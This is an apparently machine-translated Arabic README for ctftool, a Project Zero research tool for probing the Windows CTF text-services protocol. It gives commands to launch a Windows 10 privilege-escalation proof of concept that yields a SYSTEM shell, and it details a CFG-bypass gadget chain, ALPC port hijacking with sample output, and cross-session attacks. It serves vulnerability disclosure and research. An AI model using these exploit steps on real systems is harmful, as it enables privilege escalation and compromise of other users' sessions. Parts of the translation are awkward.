فقط تريد اختبار استغلال النظام؟ انقر هنا.

هذا هو ctftool ، أداة سطر أوامر تفاعلية لتجربة CTF ، وهو بروتوكول غير معروف يستخدم على Windows لتنفيذ خدمات النص. قد يكون هذا مفيدًا لدراسة Windows Internals ، وتصحيح المشكلات المعقدة مع معالجات إدخال النص وتحليل Windows Security.
من الممكن كتابة البرامج النصية البسيطة مع ctftool لأتمتة التفاعل مع عملاء أو خوادم CTF ، أو أداء الغموض البسيط.
يوجد منشور مدونة يرافق إصدار هذه الأداة المتاحة هنا.
https://googleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html
تم اختبار ctftool على Windows 7 و Windows 8 و Windows 10. يتم دعم كلا من إصدارات 32 بت و X64 ، ولكن تم اختبار X64 على نطاق واسع.
هناك مساعدة عبر الإنترنت لمعظم الأوامر ، ما عليك سوى كتابة help لمشاهدة قائمة بالأوامر ، والمساعدة help <command> لمشاهدة مساعدة مفصلة لأمر معين.
$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.
help - List available commands.
exit - Exit the shell.
connect - Connect to CTF ALPC Port.
info - Query server informaiton.
scan - Enumerate connected clients.
callstub - Ask a client to invoke a function.
createstub - Ask a client to instantiate CLSID.
hijack - Attempt to hijack an ALPC server path.
sendinput - Send keystrokes to thread.
setarg - Marshal a parameter.
getarg - Unmarshal a parameter.
wait - Wait for a process and set it as the default thread.
thread - Set the default thread.
sleep - Sleep for specified milliseconds.
forget - Forget all known stubs.
stack - Print the last leaked stack ptr.
marshal - Send command with marshalled parameters.
proxy - Send command with proxy parameters.
call - Send command without appended data.
window - Create and register a message window.
patch - Patch a marshalled parameter.
module - Print the base address of a module.
module64 - Print the base address of a 64bit module.
editarg - Change the type of a marshalled parameter.
symbol - Lookup a symbol offset from ImageBase.
set - Change or dump various ctftool parameters.
show - Show the value of special variables you can use.
lock - Lock the workstation, switch to Winlogon desktop.
repeat - Repeat a command multiple times.
run - Run a command.
script - Source a script file.
print - Print a string.
consent - Invoke the UAC consent dialog.
reg - Lookup a DWORD in the registry.
gadget - Find the offset of a pattern in a file.
section - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>
أول شيء تريد القيام به هو الاتصال بجلسة ، ومعرفة العملاء المتصلين.
ctf> connect
The ctf server port is located at BaseNamedObjectsmsctf.serverDefault1
NtAlpcConnectPort("BaseNamedObjectsmsctf.serverDefault1") => 0
Connected to CTF [email protected], Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)
يمكنك بعد ذلك التجربة عن طريق إرسال أوامر إلى الخادم أو أي من العملاء المتصلين.
إذا كنت لا تريد أن تبنيها بنفسك ، تحقق من علامة تبويب الإصدارات
لقد استخدمت GNU MAKE و Visual Studio 2019 لتطوير ctftool . يتم دعم عمليات التصميم 32 بت فقط ، حيث يسمح ذلك للأداة بالعمل على Windows X86 و X64.
إذا تم تثبيت جميع التبعيات ، فما عليك سوى أن تكون make في موجه أوامر المطور كافيًا.
أستخدم متغير "Build Tools" في Visual Studio ، والمكونات الوحيدة التي اخترتها هي MSVC و MSBuild و Cmake و SDK.
يستخدم هذا المشروع عروضًا فرعية لبعض التبعيات ، تأكد من أنك تستخدم أمرًا كهذا لجلب جميع التعليمات البرمجية المطلوبة.
git submodule update --init --recursive
الأمثلة تعمل فقط على Windows 10 X64. جميع المنصات والإصدارات منذ تأثر Windows XP ، ولكن لا يتم تنفيذ POC حاليًا.
تم استخدام هذه الأداة لاكتشاف العديد من مشكلة الأمان الحرجة مع بروتوكول CTF الذي كان موجودًا لعقود.
إذا كنت ترغب فقط في اختبار استغلال على نظام التشغيل Windows 10 x64 1903 ، فقم بتشغيل أو انقر نقرًا مزدوجًا فوق ctftool.exe وأدخل هذا الأمر:
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .scriptsctf-consent-system.ctf
سيؤدي هذا إلى ظهور مربع حوار UAC ، ويبدو أنه يسقطه وبدء قذيفة.
في الواقع ، يتم تقسيم رمز الاستغلال إلى مرحلتين يمكنك استخدامه بشكل مستقل. على سبيل المثال ، قد ترغب في المساومة على عملية تابعة لمستخدم في جلسة مختلفة باستخدام المعلمات الاختيارية connect .
يمكن أن يتعرض معظم عملاء CTF للخطر ، حيث تقوم بتطبيقات kernel التي تجذب Windows بتحميل المكتبة الضعيفة.
ما عليك سوى الاتصال بجلسة ، أو حدد عميلًا للتسوية (استخدم أوامر scan thread ، أو wait فقط) ، ثم:
ctf> script .scriptsctf-exploit-common-win10.ctf
كان بناء سلسلة قفز CFG التي عملت على غالبية عملاء CTF تحديًا كبيرًا. هناك مكونان أساسيان للاستغلال النهائي ، وكتابة تعسفية بدائية ثم إعداد سجلاتنا لاستدعاء LoadLibrary() .
يمكنك استخدام
dumpbin /headers /loadconfigلتفريغ الأهداف الفرعية ذات القائمة البيضاء.
أحتاج إلى أداة كتابة تعسفية لإنشاء كائنات في موقع يمكن التنبؤ به. أفضل أداة قابلة للاستخدام تمكنت من العثور عليها كانت انخفاضًا تعسفيًا في msvcrt!_init_time .
هذا يعني بدلاً من مجرد تعيين القيم التي نريدها ، علينا أن نستمر في الانخفاض حتى يصل LSB إلى القيمة التي نريدها. هذا كثير من العمل ، لكن لا يتعين علينا أبدًا القيام بأكثر من (2^8 - 1) * len .

باستخدام هذا البدائي ، أقوم ببناء كائن مثل هذا في مساحة الركود غير المستخدمة في قسم kernel32 .data . يجب أن تكون جزءًا من صورة حتى أتمكن من التنبؤ بمكان تعيينها ، حيث أن التوزيع العشوائي للصورة هو كل شيء على Windows.

كان هناك (بالطبع) الكثير من أدوات الكتابة التعسفية ، وكانت المشكلة هي استعادة السيطرة على التنفيذ بعد الكتابة. أثبت هذا تحديًا كبيرًا ، وهذا هو السبب في أنني كنت عالقًا مع انخفاض DWORD بدلاً من شيء أبسط.
يمسك MSCTF بجميع الاستثناءات ، لذلك كان التحدي هو إيجاد كتابة تعسفية لم تعبث المكدس حتى نجا SEH ، أو تحطمت بسرعة دون أي ضرر.
كانت الأداة msvcrt!_init_time هي أفضل ما يمكن أن أجده ، ضمن بعض التعليمات التي تنبعث منها دون إفساد أي ذاكرة أخرى. هذا يعني أنه يمكننا تكرارها.
لقد وجدت أدوات مفيدة لضبط السجلات ، الأول كان:
combase!CStdProxyBuffer_CF_AddRef:
mov rcx,qword ptr [rcx-38h]
mov rax,qword ptr [rcx]
mov rax,qword ptr [rax+8]
jmp qword ptr [combase!__guard_dispatch_icall_fptr]
والثاني كان:
MSCTF!CCompartmentEventSink::OnChange:
mov rax,qword ptr [rcx+30h]
mov rcx,qword ptr [rcx+38h]
jmp qword ptr [MSCTF!_guard_dispatch_icall_fptr]
من خلال الجمع بين هاتين الأدوات والكائن الذي قمنا بتشكيله مع أدوات الكتابة الخاصة بنا ، يمكننا إعادة توجيه التنفيذ إلى kernel32!LoadLibraryA من خلال الارتداد بينهما.
كان هذا معقدًا ، لكن تسلسل القفز يعمل مثل هذا:

إذا كنت مهتمًا ، أوصي بمشاهدته في مصحح أخطاء. لاحظ أنك ستحتاج إلى استخدام الأمر sxd av و sxd bpe أو سيتوقف تصحيح الأخطاء عن كل كتابة!
بصرف النظر عن فساد الذاكرة ، فإن فئة الضعف الرئيسية التي تعرضها CTF هي هجمات الجلسة . عادة ، لن يُسمح لعملية غير محفوظة (على سبيل المثال ، انخفاض النزاهة) بإرسال الإدخال أو قراءة البيانات من عملية متميزة عالية. تسمى حدود الأمان هذه UIPI ، عزل امتياز واجهة المستخدم .
يكسر CTF هذه الافتراضات ، ويسمح لعمليات غير محفوظة بإرسال المدخلات إلى العمليات المميزة.
هناك بعض المتطلبات التي يعمل عليها هذا الهجوم ، بقدر ما أدرك أنه لن يعمل إلا إذا كان لديك لغة عرضية مثبتة تستخدم نصيحة OOP ، معالج إدخال نص خارج العملية . المستخدمون الذين لديهم لغات إدخال يستخدمون IMES (الصينية واليابانية والكورية وما إلى ذلك) والمستخدمين الذين لديهم أدوات A11Y تندرج في هذه الفئة.
مثال هجمات تشمل ...
يوجد نص مثال في دليل البرامج النصية التي سترسل إدخالًا إلى نافذة المفكرة لتوضيح كيفية عمل جلسات التحرير.

نظرًا لعدم وجود مصادقة متورطة بين العملاء والخوادم في بروتوكول CTF ، يمكن للمهاجم الذي يتمتع بالامتيازات اللازمة للكتابة إلى BaseNamedObjects إنشاء منفذ CTF ALPC والتظاهر بأنه الشاشة.
هذا يسمح لأي وجميع القيود التي يفرضها الشاشة لتجاوزها.
إذا كنت ترغب في تجربة هذا الهجوم ، جرب أمر hijack في ctftool .
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00 ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00 .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05 ............ ...
A a message received
ProcessID: 4352, SearchUI.exe
ThreadId: 4420
WindowID: 00020180
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00 .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00 ................
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
WindowID: 00010110
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00 ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00 ............X...
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
...
لا توجد عزل جلسة في بروتوكول CTF ، يمكن لأي عملية الاتصال بأي خادم CTF. على سبيل المثال ، يمكن لمستخدم الخدمات الطرفية التفاعل مع عمليات أي مستخدم آخر ، حتى المسؤول.
يدعم الأمر connect في ctftool الاتصال بالجلسات غير المتوفرة إذا كنت ترغب في تجربة هذا الهجوم.
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.
Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.
If a connection is already open, the existing connection is closed first.
If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
Connect to the monitor for current desktop
ctf> connect
Connect to a specific desktop and session.
ctf> connect Default 1
Most commands require a connection, see "help connect".
في وقت كتابة هذا التقرير ، من غير المعروف كيف ستغير Microsoft بروتوكول CTF استجابة للعديد من عيوب التصميم التي ساعدت هذه الأداة في كشفها.
لهذا السبب ، ضع في اعتبارك أن هذه الأداة في حالة إثبات المفهوم.
جميع إصدارات Windows نظرًا لأن Windows XP تستخدم CTF ، على جميع الأنظمة الأساسية المدعومة.
على الرغم من أنه ليس جزءًا من النظام الأساسي حتى XP ، فإن الإصدارات في وقت مبكر من Windows 98 و NT4 ستستخدم CTF إذا قمت بتثبيت Microsoft Office.
يدعم ctftool Windows 7 وبعد ذلك على X86 و X64 ، ولكن يمكن دعم الإصدارات السابقة والمنصات الأخرى ، وسيتم تقدير المساهمات.
لا توثق Microsoft ما تمثله CTF ، ولم يتم شرحه في أي من وثائق خدمات النص ، أو عينات SDK ، أو أسماء الرموز ، أو ملفات الرأس ، أو في أي مكان آخر. نظريتي هي من CTextFramework ، ما قد تسميه الفصل بالترميز المجري.
هناك بعض المواقع الإلكترونية التي تدعي أن
ctfmonله علاقة بخطوط واضحة أو إطار الترجمة التعاونية Azure. إنهم مخطئون.
تحديث: يجد جيك نيلسون دليلًا على "إطار نص مشترك"
tavis ormandy [email protected]
كل الرمز الأصلي هو Apache 2.0 ، انظر ملف الترخيص للحصول على التفاصيل.
يتم استيراد المكونات التالية مشاريع طرف ثالث.
GetProcAddress() للوحدات النمطية 64 بت من عملية 32 بت. يستخدم هذا في أمر symbol ، ويسمح للثنائي بالعمل على X64 و X86.